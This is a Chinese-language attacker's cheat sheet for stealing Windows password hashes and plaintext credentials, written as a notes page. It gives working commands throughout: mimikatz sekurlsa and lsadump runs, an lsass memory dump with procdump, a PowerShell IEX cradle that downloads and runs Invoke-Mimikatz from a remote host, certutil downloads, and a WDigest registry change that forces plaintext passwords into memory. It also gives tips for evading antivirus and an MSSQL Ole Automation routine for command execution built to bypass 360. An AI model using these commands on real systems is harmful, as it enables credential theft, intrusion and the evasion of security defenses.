hash获取、明文密码获取
说明 | |
---|---|
Windows密码文件 | 位置:C:\system32\config\SAM 格式:Username:RID:Lmhash:NThash 注:Lmhash被弃用 加密方法:ntlm hash 一次加密:不可逆 二次加密:可逆 涉及文件: system、security |
本地认证流程 | winlogon.exe -> lsass.exe(存有明文密码) -> 加密比对 |
密码抓取 | hash:lazagne、pwdump 抓取明文:quarksPwdump、netripper powershell脚本:(2008+) https://github.com/samratashok/nishang 1、本地执行: powershell.exe -exec bypass -Command "Import-Module .\Get-PassHashes.ps1;Get-PassHashes" 可以将脚本放在远程服务器端,远程执行;或保存成bat脚本执行 2、远程执行: powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.21.112:9000/Invoke-Mimikatz.ps1');Invoke-Mimikatz 注:powershell.exe可以替换,copy powershell为自定义文件,用来替换bat中的powershell.exe,可绕火绒 powershell位置:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 3、远程下载到本地: powershell.exe $client = new-object System.Net.WebClient;$client.DownloadFile('http://192.168.21.112:9000/procdump64.exe', 'C:\www\procdum64.exe') 其他下载: certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt c:\a.txt certutil.exe -urlcache -split -f http://192.168.1.115/robots.txt delete 清理缓存 4、综合: mimikatz 内网工具 使用: privilege::debug //提升权限 sekurlsa::logonpasswords //抓取密码 mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit 直接执行 常用: 保存为日志文件: mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit >> log.txt 遇到杀软,可使用计划任务+bat脚本调用,多层嵌套绕过 或 reg save hklm\sam sam.bak 导出文件及system、security 然后使用mimikatz解密 : mimikatz.exe "lsadump::sam /system:system.bak /sam:sam.bak" exit 1、2012+之后不再保存明文密码,需要修改注册表 reg add hkey_local_machine\system\currentcontrolset\control\securityproviders\wdigest\ /v uselogoncredential /t reg_dword /d 1 / 2016命令为: reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 2、重启系统: shutdown /r /t 0 (需要重新登录系统) 3、使用procdump抓取内存数据 procdump64.exe -accepteula -ma lsass.exe lsass.dmp 4、mimikatz获取明文信息 mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit >> 1.txt 其他: msf的kiwi、mimikatz模块 meterpreter下load kiwi、load mimikatz 具体用法自行-h |
mssql命令执行绕过360检测
命令 | ·· |
---|---|
exec sp_configure 'show advanced options', 1; RECONFIGURE; exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; |
开启命令 |
Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn'; |
执行命令 |
注:SP_OAMeTHOD使用vb脚本执行命令
文末附上乌云安全公众号的过杀软获取密码技巧,时间原因,暂未复现。先存一波: